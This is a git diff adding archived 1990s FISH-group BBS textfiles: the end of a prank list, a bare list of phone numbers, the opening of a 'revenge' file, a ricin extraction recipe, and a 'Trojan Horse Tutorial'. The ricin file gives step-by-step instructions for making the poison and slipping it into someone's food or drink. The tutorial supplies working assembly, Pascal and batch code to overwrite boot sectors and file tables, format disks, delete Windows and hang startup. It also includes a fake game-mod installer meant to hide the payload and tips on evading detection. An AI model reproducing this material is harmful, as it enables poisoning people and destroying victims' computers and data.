TV screen and watch the pretty colors. Oops + didn't mean to leave that purple blotch on her screen +117. Set her up on a blind date -- with another woman +118. Set her up on a blind date -- with a sheep +119. Loosen all the bolts in her car so she drops parts along the way, + and people yell 'Get a horse!' at her +120. Ever hear that if you talk nice to plants, they will grow? Yell and + swear at them. They'll die + +That's enough! I'll ask Punk Rock Girl if he wants to add any + + + /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ + | Phor more phun phor all occasions, call: | + | | + | The Sect DeBBie'S CLoSeT | + | F.I.S.H. World Headquarters I F.I.S.H. World Headquarters ][ | + | FISHNeT 666:13/1 FISHNeT 666:13/0 + | 916/I'M-SEXY 801/IFO-RGOT | + | Sysop: Punk Rock Girl Sysop: The Infidel | + | 14.4 v.32/1250m/WaReZ up the butt 14.4 v.32/1200m/programming/arcane | + \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ diff --git a/textfiles.com/groups/FISH/raw b/textfiles.com/groups/FISH/raw new file mode 100644 index 00000000..7822ac2d --- /dev/null +++ b/textfiles.com/groups/FISH/raw @@ -0,0 +1,144 @@ +221-8422 +221-9003 +221-9004 +221-9008 +221-9014 +221-9022 +221-9034 +221-9035 +221-9070 +221-9111 +221-9122 +221-9128 +221-9137 +221-9706 +221-9710 +221-9735 +221-9748 +221-9781 +221-9786 +221-9803 +221-9813 +221-9823 +221-9824 +221-9825 +221-9832 +221-9833 +221-9835 +221-9837 +221-9900 +221-9902 +221-9903 +221-9929 +221-9934 +222-9317 +222-9501 +222-9506 +222-9515 +222-9524 +222-9527 +222-9528 +222-9530 +222-9532 +222-9533 +222-9534 +222-9541 +222-9554 +222-9579 +222-9581 +222-9587 +222-9591 +222-9593 +222-9711 +223-3610 +223-9705 +223-9715 +223-9723 +223-9727 +223-9728 +223-9730 +223-9735 +223-9745 +223-9748 +223-9758 +223-9766 +223-9768 +223-9778 +223-9779 +241-0742 +241-1356 +241-9708 +241-9717 +241-9720 +241-9728 +241-9730 +241-9735 +241-9737 +241-9748 +241-9753 +241-9757 +241-9779 +241-9826 +241-9837 +241-9842 +241-9856 +241-9857 +241-9887 +241-9901 +241-9904 +241-9907 +241-9908 +241-9909 +241-9910 +241-9910 +241-9911 +241-9912 +241-9916 +241-9934 +241-9937 +241-9943 +241-9944 +241-9975 +241-9976 +241-9981 +241-9990 +243-1028 +243-3106 +243-3436 +243-3931 +243-9602 +243-9603 +243-9609 +243-9612 +243-9613 +243-9614 +243-9702 +243-9744 +243-9762 +243-9768 +243-9772 +243-9789 +243-9792 +243-9797 +243-9801 +243-9805 +243-9806 +243-9810 +243-9811 +243-9812 +243-9820 +243-9831 +243-9833 +243-9854 +243-9858 +243-9865 +243-9869 +243-9899 +243-9920 +243-9931 +243-9985 +243-9990 +244-6308 +244-7213 +246-9824 +365-9968 diff --git a/textfiles.com/groups/FISH/revenge.txt b/textfiles.com/groups/FISH/revenge.txt new file mode 100644 index 00000000..b5d49628 --- /dev/null +++ b/textfiles.com/groups/FISH/revenge.txt @@ -0,0 +1,32 @@ + Its another file by those gods of watermelon: + + ÚÄÄÄÄÄ¿ ÚÄÄÄ¿ ÚÄÄÄÄÄ¿ ÚÄ¿ ÚÄ¿ + ³ ÚÄÄÄÙ À¿ ÚÙ ³ ÚÄÄÄÙ ³ ³ ³ ³ + ³ ÀÄ¿ ³ ³ ³ ÀÄÄÄ¿ ³ ÀÄÙ ³ + ³ ÚÄÙ ³ ³ ÀÄÄÄ¿ ³ ³ ÚÄ¿ ³ + ³ ³ ÚÙ À¿ ÚÄÄÄÙ ³ ³ ³ ³ ³ + ÀÄÙ ÀÄÄÄÙ ÀÄÄÄÄÄÙ ÀÄÙ ÀÄÙ + + For all your phun stuff... + + FISH presents... + -=-=-=-=-=-=-=-=-=-=-=-=-=-=- + How to get REVENGE!! + -=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +DISCLAIMER: This file is for informational porpoises only. If you are + not a porpoise, do not read this file. If you are a porpoise, do not + take anything in this file seriously. The FISH Gang will not be held + responsible for your irresponsibility, nor will the author of this + file, so tell your mommy to shove her lawsuit up her private parts. + +Part 1: Well, little Timmy with the Messed-Up Brain is at it again. This + time you caught him sodomizing your hamsters, eh? Well, you can shoot + him and wipe him off the planet, but that would be too easy, and you + might get caught, because you have a motive. So, what do you do? Well, + the FISH Gang is here to rescue you again. Kind of like the cavalry, but + I bet the Cavalry doesn't have as nice of taste in hats as us. Anyway, + getting back to the fun part.. You are a pulsating bloody messy pus- + filled pile of hatred and disgust.. or you might just be a little + angry. Nonetheless, you seek vengeance. Here's a few ideas for you to + use against little Timmy. diff --git a/textfiles.com/groups/FISH/ricin.txt b/textfiles.com/groups/FISH/ricin.txt new file mode 100644 index 00000000..7109d717 --- /dev/null +++ b/textfiles.com/groups/FISH/ricin.txt @@ -0,0 +1,93 @@ +disclaimer: We the FISH are not responsible for you if you make +this junk without wearing a radiation proof suit. If you die its not +our fault. This file is for information only! + + + + + + + + + + + + + +  +  Another F.I.S.H.  +  FILE  +  by  +  Punk Rock Girl  +  + + + Well it is time once again for me to say hi to all the +fans of F.I.S.H. If you want to call the fish support bbs +and get the fish files as they roll out of my word processor then +call The Village BBS at (916) 244-3569. You have full access to +everything the first time you call and we sure could use any +files you have. Our area is not really good for anarchy boards. + + Anyway! this file should be called RICIN.txt if it isn't yell +at the SysOp of the BBS you stole it from. + + +******** RICIN the deadliest poison known to man ********** + + To make it: + +1. Go to a store that sells castor beans ( like for castor oil ) +2. put about 2 ounces of water into a GLASS jar and add some LYE + from the grocery store to it ( about a teaspoon full ) +3. wait for the lye/water mixture to cool +4. plop one or 2 ounces of the beans into the liquid +5. soak them for one hour +6. pour out the liquid and DON'T TOUCH IT! it is lye and will + burn your skin off! +7. get the beans and rinse them +8. take the outside off the beans very carefully using your + finger nail or something +9. put the insides of the beans into a blender ( i use a coffee + grinder ) with four ounces of acetone for every one of the + beans +10. blend until it looks like milk +11. put them in a glass jar for three days with the lid closed + tightly +12. at the end of three days shake it up really good and pour it + into a coffee filter +13. when the dripping stops pick up the filter and squeeze the + acetone out of it +14. spread the filter out on a pan covered with newspaper and let + it dry +15. when it is dry! if you can compress it and it stays in that + shape ( i.e. squeeze it in your hand ) then put it back into + a DIFFERENT CLEAN jar with 4 more ounces of acetone for 1 day + if you did: repeat steps 12-24 + + The powder you have made is tasteless and odorless. It can be +sprinkled into soup or placed in a drink or inhaled. It takes +about 3-4 days to act and when it does the guy will be dead +within a week. The death is slow and painful as this poison +attacks the blood and internal organs starting with the digestive +tract. The cure is rare and expensive and the poison is almost +impossible to detect. + Punk Rock Girl + + call The Village 916-244-3569 for all + fish files! + + + + + + + + + + + + + + + diff --git a/textfiles.com/groups/FISH/tht01.txt b/textfiles.com/groups/FISH/tht01.txt new file mode 100644 index 00000000..f9197da6 --- /dev/null +++ b/textfiles.com/groups/FISH/tht01.txt @@ -0,0 +1,835 @@ + Its another file by those gods of watermelon: + + ÚÄÄÄÄÄ¿ ÚÄÄÄ¿ ÚÄÄÄÄÄ¿ ÚÄ¿ ÚÄ¿ + ³ ÚÄÄÄÙ À¿ ÚÙ ³ ÚÄÄÄÙ ³ ³ ³ ³ + ³ ÀÄ¿ ³ ³ ³ ÀÄÄÄ¿ ³ ÀÄÙ ³ + ³ ÚÄÙ ³ ³ ÀÄÄÄ¿ ³ ³ ÚÄ¿ ³ + ³ ³ ÚÙ À¿ ÚÄÄÄÙ ³ ³ ³ ³ ³ + ÀÄÙ ÀÄÄÄÙ ÀÄÄÄÄÄÙ ÀÄÙ ÀÄÙ + + For all your phun stuff... + + FISH presents... + -=-=-=-=-=-=-=-=-=-=-=-=-=-=- + Trojan Horse Tutorial #01 + -=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +i. Contents: +-=-=-=-=-=-=-=- + +Section Description +------------------------------- + I. Standard Disclaimer + II. FAQs about Trojan Horses +III. Before (with tips) + IV. Some Ideas for what your Trojan can do + V. THe KoDe SeCTioN + VI. Full Working Pascal Source for an Installation program +VII. File_id.diz and two .nfo files to put in your release zip +-=- + + +I. STANDARD DISCLAIMER: +-=-=-=-=-=-=-=-=-=-=-=-=- + +This file is for informational purposes only. The information in this +phile should not be carried out, nor should any of the code that may be +present in any of these files be loaded nor compiled, and especially not +executed. Neither the FISH gang, nor the author of this file will be held +responsible for any damages, either direct or consequential, for carrying +out any instructions present in this phile. Construction or coding of a +trojan horse is a felony, and you could get badly busted for doing such if +it can be proven. Again, the FISH Gang does not take responsibility for +your stupidity in actually carrying any of the information in this file +out. It is for entertainment only, and again, nothing should be taken +seriously. + +GeRk! +-=- + + +II. FAQs about Trojan Horses: +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +1q) Will Trojans protect me against STDs? +1a) Shut up you pervert. + +2q) Will Trojan Horses harm my system? +2a) Trojan horses will carry out whatever evil little scheme the + author of the code deems fit to set free upon your system. + +3q) How can I tell if a file I downloaded from Willy Wonka's Chocolate + Factory of Phun has a Trojan in it? +3a) Yes, occasionally. If you have a program that uses a heuristic + scanner algorithm, the file you have may be detected as having + evil code. If you use an idiotic program that only uses known + signatures, you're history buddy. + +4q) How do I get even with Timmy with the messed up brain down the street? +4a) Now you have asked a useful question. Read further for assistance. + You can send him a trojan horse, send him a virus, stab him, mock + him at school (call him hydrocephalic. He'll cry), put itching + powder in his fishtank, eat him for dinner, or sick Satan on him. + +If you are going to send him a trojan horse, this tutorial will be useful +to you. If you are STILL looking for advice on how to prevent STDs, here +is some: shoot yourself. That way you won't be so constantly worried +about them. (don't forget the disclaimer) + +This is by no means an all-inclusive list of the things you can do with +Trojans. It is meant only as a guide, and the tips are things you should +keep in mind when you are writing your own trojans. The ideas and code +listed are just a few things to get your mind headed on the right (wrong?) +track. Have phun! +-=- + + +III. Before +-=-=-=-=-=-=-=- + + So, Timmy with the messed up brain has been eating your puppies again, +huh? Well, here is a good way to get even with him, if he uses a computer. +The more he enjoys using his computer (don't even think of things like that +you disgusting pervert), the more he will be dismayed at the terror you +unleash upon his system. + + Well, to really get even with the "special child," you have to know how +to disguise the trojan well. Call yer local 3L³T3 WaR3Z BBS, and look and +see what the latest game that everyone is raging about. It should be pretty +easy to figure out. They will probably have a sub dedicated to it, because +we all know how W4Y k001 those 3L33t d00dZ R, D0n' W3? Anyway, download +this game and play it, until you figure out what types of things people +might want in it. I will use Doom ][ as an example. Now, in Doom ][, if +you edit the 3 million gigabyte .WAD file, you can change the enemies, the +background, levels, etc. So, you just add the porno spectrum in on it, +because we all know poor little Timmy is a chronic masturbator. So, what +I would do would be to write a small mod installation program, and say that +it turns the walls into pictures of oversexed slave women from Jupiter. +Then, I would write a cute little installation program with a status bar, +percentages, and all the trimmings. This would all be tops 15k in Turbo +Pascal or C, but if you are using something lame like Visual Basic, you'll +probably have a good 7 megs on your hands. Then, while the program is +"modding" the game file (or whatever you choose), you are free to roam +about. + +Tips: +-=-=-=- +1. Do not Microwave. +5. Make sure that you make the changes DURING the supposed installation, + and not after. It would be blatantly obvious if you had a status + bar fly across the screen, and then 7 hours of disk writes after + it says 100%. +5. Make sure that it is believable. If your final product is good enough + to fool you, it's good enough to fool the poor little narcoleptic. +5. Doom ][ has a HUGE game file, called doom2.wad (about 15 megs), so + the installation for this program would take a LOT longer than a + mod or crack for most other games. Make sure the length of time the + "installation" takes is also consistent with the supposed purpose of + the trojan. +5. Some people are skeptical, and they may view the hex in the program. + It is wise to peruse a dump of the trojan you write with a hex + editor, and see if there is any strings or anything that sticks out + in the code. The included source for Pascal does not include any + strings that would make it obvious this program did anything but + what it was supposed to. +5. Most of all, cater to their tastes. Just make it look nice and prof- + essional. If it is an elite release, most of them come with k3w1 + looking file_id.diz files and countless .NFO files. I have included + a sample file_id.diz, and two .nfo files for common BBSs, but by the + time you get this, these may not be current, so check around. +5. If you plan on writing multiple trojans, CHANGE the appearance of the + final product, and if you write regular programs in addition to your + trojans, make SURE they don't resemble the programs you normally + write, lest someone recognize them as your style. +5. If you use a simple DOS-type deletion for any trojan, a good method + to insure that the file is gone is to overwrite it, and then delete + it. In Pascal, it would be as simple as assigning it to a file + variable, and rewriting and closing it, to zero it out, and then + you would delete it. If you simply delete it, the little industrious + freak might just undelete all or some of the files, and that is not + the point of writing trojans. +5. One drawback to writing trojans instead of viruses is that once one + person uses the program, and finds out his computer is fucked up, + once he gets access to a term program (if he calls BBSs), he will + post the fact that the program is a trojan, and all your work + will be for naught. A way to get around this is to PHYSICALLY + damage his computer, which I have not quite figured out how to do yet + from software. Overwriting his boot sector will delay him for + quite some time, and so will overwriting his file allocation table, + but the second is slightly more easily repairable. Go for the kill. + Do as much damage as you can, and delay his informing others about + your program as long as you possibly can. +5. If you want to actually give the tard a virus, you can simply take + a popular program and virus it. There are thousands of virii out + there, and on my board, as of this day, I have about 1050 of them + myself. The number is at the end of the phile. +5. If you are releasing your trojan to a BBS, try and make it as versatile + as possible. If you are only giving it to little Timmy, get to know + him a little bit. Find out what he is like. Find out what his direc- + tory structure is like. Tailor the trojan to his tastes and his + computer, and it will be the most effective. On the other hand, if + it is to be released, the more versatile it is, the more people will + be affected. This just means checking all directories etc, before + you change to them or delete them, using defaults for commonly used + programs, etc. etc. +6. If you write a program that makes it so he cannot boot without it running + a program in his autoexec.bat, and you are friends with Timmy, you + can go into his setup and change the boot disk order to C:,A:, and + then it will boot from C first, not allowing him to have a chance to + use a boot disk. Of course, you cannot do this for a regular released + trojan, only for a personal vengeance + +Be ruthless. Timmy deserves it for running afoul of you. + + +(By the way, if you choose to skip the KoDe SeCTioN, there is a lot of +good ideas and information in the text parts of that section, so go ahead +and read it, and skip the code itself.) +-=- + + +IV. Some Ideas +-=-=-=-=-=-=-=-=-=- + +Here are some good ideas to do to poor little Timmy: + +a) overwrite his boot sector +b) overwrite his file allocation table +c) allocate all of his RAM to a TSR +d) create files with names like Ñ‘7½¡ˆæY.þb¨ in all of his directories +e) format his disk +f) delete Windows. He won't know WHAT to do. "What's DOS?" +g) insert a message in his AUTOEXEC.BAT saying that he is a chronic + masturbator, and give the location of his stash of Vaseline +h) redefine his interrupts to run YOUR routines or NO routines. +i) make an endless loop in his autoexec.bat +-=- + + +V. The KoDe SeCTioN +-=-=-=-=-=-=-=-=-=-=-=- + +Here is a little code to help you accomplish the tasks I have previously +listed. At the end of this section, there is the full working pascal +source for an installation program that you can use to your delight. +You can use most of these procedures with that program with a little +modification, or you can write them into your own standalone installer/ +cracker/whatever. + +-=- +a) overwriting his boot sector: written in TASM. You could conceivably + use DEBUG to do this code, but it would be more complicated. + +---------------- + buffer db 512 dup(0) +booty: + mov al,2 ;drive number (0=A, 1=B, etc.) + mov cx,1 ;number of sectors to write - + ; the boot sector is 1 sector + mov dx,0 ;logical sector - + ; the boot sector is sector 0 + lea bx,buffer ;overwrite with info in BUFFER + int 26h ;overwrite!! + ;remember that an interrupt 26 + ; destroys the flags. if you + ; want to retain them, you'll + ; have to push them onto the + ; stack. pushf would be nice. +---------------- + +-=- +b) overwrite his file allocation table: written in TASM. It is + functionally similar to the code for a), with a couple of + minor changes. + +---------------- + buffer db 32767 dup(0) +fatty: + mov al,2 ;drive C + mov cx,64 ;write 64 sectors + mov dx,1 ;sector 1, where the FAT starts + lea bx,buffer ;load the buffer into the prog + int 26h ;overwrite +---------------- + +-=- +c) allocate all of his RAM to a TSR: This is in TASM, and it is SO + easy to do, you can include this in almost any program. + It is a keep procedure, thus it remains in memory. Functionally + useless, but Timmy won't have any memory left until he reboots, + leaving another vulnerability wide open for you to exploit: + put this program in his autoexec, and every time he boots, he will + not even have enough RAM to type something on the command line :) + While this only allocates very little memory, it will still lower + the RAM available by 57k, so stick it into a batch file, and have + it load until it dies. autoexec.bat + +---------------- + mov ah,31h ;function number 31 + mov al,0 ;exit with errorlevel 0 so as + ; not to arouse suspicion + mov dx,0dfffh ; allocate 57k RAM + int 21h ;DOS services +---------------- + If you want to do this in TP, you're in luck. You can allocate ALL + of his conventional memory in one blow with the Keep procedure. + as so: +---------------- + +program waste; +uses DOS; +{$M 2048,0,655350} { this line allocate all the memory for the heap} +begin + Keep; { keeps cs, ds, and heap allocated } +end. +---------------- + +-=- +d) create files like Ñ‘7½¡ˆæY.þb¨: Pascal procedure. It will search out + his directory structure and write files with this type of name. + You can use a loop to only do a few directories, or just go ahead + and do all of them. This does all of them, and it only does one + directory level off of the root. To do multiple, you'd have to + have another loop inside the first. I'm not going to bother. + Don't forget, stealth is the key, so make it look and sound + realistic! +---------------- +uses dos; +procedure randname; +var fname:string[12]; + dirinfo : searchrec; + f : text; + i : byte; +begin + chdir('\'); + randomize; + findfirst('*.*',$10,dirinfo); + while DOSerror = 0 do + begin + chdir(dirinfo.name); + fname[0] := #0; + for i := 1 to 12 do + fname := fname + chr(random(127)+128); + fname[9] := '.'; + assign(f,fname); + rewrite(f); + close(f); + chdir('\'); + findnext(dirinfo); + end; +end; +---------------- + +-=- +e) format his disk: this can be done two ways. I'm only going to show you + the easy way to do it, with a batch file and compiler, because the + other way will take too much time, and it's late. Maybe in THT02. + You write the following line into a batch file, and use the included + compiler to make it not obvious. + +---------------- +echo y |format c: > nul +---------------- + + If you wish to use the other way, before Trojan Horse Tutorial #2 is + released, you would write it in assembly. You first use the 'disk + information' function of int 13h, and find out how many tracks the + disk has, then you would set up a loop, with the cx register set to + this amount, and format it one track at a time with the 'format track' + function of the same interrupt. Keep in mind, this is a lengthy + process, so only format one track per percent, or two or whatever. + And, if you use the included pascal source, make sure you don't use + the "diskdelay" procedure after the disk has been formatted, else you + will have a MAJOR runtime error. Not that you'd care at that point + anyway, but it's something to keep in mind as you are plotting Timmy's + untimely demise and punishment for being such an oversexed little loser. + +-=- +f) Delete Windows. If he is like most of the newer computer users, he + cannot function without his graphical, icon-based interface. + if you delete Windows, he will surely perish. This is a simple + matter, and you can bother programming it, but a quick batch file + compiled with the included compiler should do the trick nicely + and easily. + +--------------- +@echo off +cd\windows +echo y|del *.* > nul +cd system +echo y|del *.* > nul +cd.. +rd system +cd temp +echo y|del *.* > nul +cd.. +rd temp +cd.. +rd windows +--------------- + + If you know his directory structure, it would be of infinite advantage, + because you could tailor this or any of the trojans specifically to + his system. + +-=- +g) write a message in his autoexec.bat: + this is just another means of using DOS redirection for your evil + purposes. Just write this batch file and compile it, and tada. +-------------- +@echo off +cd\ +attrib autoexec.bat -r -a -s -h +echo echo Mom, I have a confession to make. I'm a chronic >> autoexec.bat +echo echo masturbator. I have been using this computer you >> autoexec.bat +echo echo bought me last Christmas to look at pictures of naked>>autoexec.bat +echo echo women. I have felt guilty about it, and have been >> autoexec.bat +echo echo thinking of a way to tell you. >> autoexec.bat +attrib autoexec.bat +r +-------------- + Again, knowledge of his habits and his house will go a long way with + this one. Say Birthday if he got his computer for his birthday, and + so on. + +-=- +h) Redefine his interrupts. This is not such a simple matter. All I can + do is give you certain advice for this. Any program I could use to + show you an example, would not help much in this respect, as this is + a touchy thing to do, but it can be most effective if you do it prop- + erly. I'll use a simple TSR to make his keyboard click when he + types as an example. What you would do would be to write your + routine for making it click, like normal, and then grab hold of the + interrupt for yourself, and then call the normal interrupt after + your procedure runs. The interrupt vector table is at memory + location 0000:0000h. This table is 1024 bytes long, and contains + room for 256 interrupt addresses. When an interrupt is called, the + computer checks the address in this table, and then goes to that + location in memory to service the interrupt. It is stored LSB..MSB, + and each address is 4 bytes. So for interrupt 9, the keyboard int, + we would go 9x4 bytes into the table, or 36 bytes. Bytes 36-39 + contain the address, so you save this, and then you replace it + with the address of your procedure, which you can do directly, or + by using the seg:ofs functions in pascal, or just using variables + for the locations in assembly. Then at the end of your routine, + make sure you call the old memory location, or whatever interrupt + you redefine will not be executed. If this is what you want, you + can do it very easily in pascal, or almost as easily in assembly. + here is the pascal code. Keep in mind, no interrupts you execute + after this program has run will function, so make this the last + thing you do in your trojan. You can write add these into his + autoexec.bat file, to fuck his computer every time he boots, and + unless he hits rightshift during boot and has dos 6.xx, he'll be + screwed until he uses a boot disk. +--------------- +program bye; + +type vectbl : array[1..1024] of byte; + +var kill : vectbl absolute 0:0; + +begin + fillchar(kill,sizeof(kill),0); +end. +--------------- + mov ax,0 ;make the data segment 0000h + mov ds,ax ; + mov bx,0 ;bx=0000h offset of interrupt vector table + mov cx,1024d ;1024 bytes + loop1: + mov byte ptr[bx],al ;zero out the int vec table + loop loop1 + + mov ah,4ch ;exit function. This won't work. + int 21h ;You can't do anything now. +--------------- + +-=- +i) make an endless loop in his autoexec.bat: + this is SO simple to do, you can do it in almost any way + imaginable. By far the easiest and smallest way to do it would + be to write it as a batch file, and compile that. I've included + a batch file compiler in this ZIP, just for you. Aren't I nice? + Now shut up. + +-------------- + echo :loop >> c:\autoexec.bat + echo goto loop >> c:\autoexec.bat +-------------- + + If you use the RAM allocation thing (idea c), you can stick the + name of that program in between the two preceding lines, and it + will call that and loop back to do it again. + + If you are including this in a higher level program, which would + be more useful, you can use this simple Pascal procedure to do + the same thing. + +-------------- + procedure nukem; + var f:text; + begin + assign(f,'c:\autoexec.bat'); + {$I-} + reset(f); + {$I+} + if ioresult = 0 then append(f) else rewrite(f); + writeln(f,':loop'); + (* writeln(f,'waste');*) {include this line if you want to} + {waste his RAM, and use the proceeding} + {pascal program (idea C) to waste his mem} + writeln(f,'goto loop'); + close(f); + end; +-------------- + As you can see, this is an easy thing to do for simpletons. There + are much more destructive ways to kill the little paraplegic, + though. See other suggestions for more info. +-=- + + +VI. Working installation program +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + + Here is the source to a Pascal program for a fake installation screen. +Its alleged purpose is to plaster naked women to the walls of Doom II. +This is fairly extensive, but should provide you with quite a few ideas. +This is working code, and you would distribute this program with files +called 1.gif, 2.gif .. 5.gif (and a lot of 3L33t .nfo fil3z). + +--------------------------- +program death; + { This is a simple installation trojan. Right now it doesn't do } + { anything harmful, but it is the basis for anything you want to } + { include in it. If you wish to add code to it, just put your } + { code in the 'evil' procedure, and go to it. Make sure it stays} + { pretty even, so it looks authentic. FISH} + +uses crt; + +type s50=string[50]; + +var path : s50; + +procedure evil; +begin +end; + +procedure screen(var path:s50); +var f : file; + ch : char; + iores : word; +begin + clrscr; + textcolor(8); write(' ù ùÄ ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍ'); + textcolor(10); write('[ '); + textcolor(2); write('DooM BitcheS v2.1'); + textcolor(10); write(' ]'); + textcolor(8); writeln('ÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ Äù ù'); + + textcolor(10); writeln; write('E'); + textcolor(2); write('nt'); + textcolor(8); write('er the path to doom2.'); + textcolor(2); write('wa'); + textcolor(10); write('d: '); + textcolor(10); write('['); + repeat + gotoXY(31,3); + textcolor(8); write('...............................................'); + textcolor(10); write('] '); + gotoXY(31,3); + textcolor(2); readln(path); + assign(f,path); + {$I-} reset(f); {$I+} + iores := ioresult; + if path = '' then iores := 1; + if iores <> 0 then + begin + gotoXY(31,4); + textcolor(10); write('Doom2.wad not found'); + end; + until (iores = 0); + writeln; +end; + + +procedure diskdelay(count : byte); +var i : byte; + f : text; +begin + for i := 1 to count do + begin + assign(f,'doom2.tmp'); + rewrite(f); + writeln(f,'Checking.. Searching.. Installing 1.gif..'); + close(f); + end; + erase(f); +end; + + +procedure stats(path:s50); +const statinfo:array[0..8] of string[20]=('Checking..','Searching..', + 'Installing 1.gif..','Installing 2.gif..','Installing 3.gif..', + 'Installing 4.gif..','Installing 5.gif..','Closing.. ', + 'Complete. '); +var i,percent : byte; + f : text; + label 1; +begin + textcolor(10); write(' Ú'); + textcolor(8); write('ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ'); + textcolor(10); writeln('¿'); + textcolor(8); + for i := 6 to 9 do + begin + gotoXY(10,i); write('³'); + gotoXY(70,i); writeln('³'); + end; + textcolor(10); write(' À'); + textcolor(8); write('ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ'); + textcolor(10); writeln('Ù'); + + gotoXY(12,6); write(' Modding: '); + gotoXY(12,7); write(' Activity: '); + gotoXY(12,8); write('Percentage: '); + gotoXY(12,9); write(' °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°° '); + + gotoXY(24,6); + textcolor(2); write(path); + for percent := 0 to 100 do + begin + textcolor(2); + gotoXY(24,8); write(percent:3,'%'); + gotoXY(24,7); + case percent of + 0 : write(statinfo[0]); {checking} + 1..10 : begin write(statinfo[1]); diskdelay(1); end; {searching} + 11..28 : begin write(statinfo[2]); diskdelay(4); end; {inst gif 1} + 29..46 : begin write(statinfo[3]); diskdelay(4); end; {inst gif 2} + 47..64 : begin write(statinfo[4]); diskdelay(4); end; {inst gif 3} + 65..82 : begin write(statinfo[5]); diskdelay(4); end; {inst gif 4} + 83..95 : begin write(statinfo[6]); diskdelay(4); end; {inst gif 5} + 96..99 : begin write(statinfo[7]); diskdelay(10); end; {closing} + 100 : write(statinfo[8]); {done} + end; + if percent = 18 then evil; + gotoXY(15,9); textcolor(10); + for i := 1 to (percent div 2) do + write('Û'); + end; + gotoXY(1,14); + textcolor(2); writeln('Doom ][ is now ready to play.'); + delay(1500); + textcolor(10); write('DooM BitcheS v2.1 '); + textcolor(10); write('['); + textcolor(8); write('Informant'); + textcolor(10); write(']'); + gotoXY(1,1); + for i := 1 to 14 do + begin + delline; + delay(5); + end; + writeln; +end; + +begin + screen(path); + stats(path); +end. +---------------- + +-=- + +VII. Sample files +-=-=-=-=-=-=-=-=-=- + +The file_id.diz is a file that is included in ZIPs now that contains a +description of the program. It usually has IBM line-drawing characters +in it, and has a description of the file as well as a big ugly stupid +looking logo for the group that released the WaRe. Just make up a lame +group, or steal a DIZ off of some other ware, and masquerade that your +program was distributed or programmed by them, and you have it made. +Include this in the release ZIP, if it is going to a BBS, as well as +one of these two sample .NFO files, or one you got yourself (to be +sneakier), and you've got a regular program. You can whip up some +quick docs, and/or a readme.1st file, and you are finished and ready to +upload. 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Do it with an ATTIUDE! + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ Final Note ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + º Support the software companies! If you enjoy using a program or playing a º + º game, consider buying it! Someone's got to make it worth the programmer's º + º effort to keep up the high standards... They DESERVE it. º +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +PWA.NFO ---------------------------------------------------- end + +IUD.NFO ---------------------------------------------------- begin + + INTERNATIONAL NETWORK OF CRACKERS UTILITY DIVISION + Presents + ÚÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³ Software³After Dark 2.0 (Windows) ³ ³ Supplier ³PC Clinic ³ + ³ Company ³Berkeley Sytems ³ ³ Cracker ³N/A ³ + ³ Sound ³Multimedia Windows Sound ³ ³ Packager ³Sam Spade ³ + ³ ³Device, SB, PC Speaker ³ ³ Protection ³N/A ³ + ³ Rating ³9 ³ ³ Date ³3/4/92 ³ + ÀÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + + Midnite Oil ][ + ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + Infinite Illuminations Pirate's Paradise The Generic Access + Lost Souls Domain ][ Splatterhouse The Vortex + Nowhere The Depths of Hell The Welfare Department + The Colisevm The Forvm The Bog + Support Headquarters 10 Downing Street Above the Law + ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + Release version. + Install from floppy or hard drive. Enjoy. + +IUD.NFO ----------------------------------------------------- end + +That's it for the first release of The Trojan Horse Tutorial. +Don't forget, we take no responsibility for you if you choose +to compile or execute any of this code, or if you carry out ANY +of the instructions in this file. + + -The Infidel + +FISHFISHFISHFISHFISHFISHFISHFISHFISHFISHFISHFISHFISHFISHFISHFISHFISHFISHFISHFISH + + 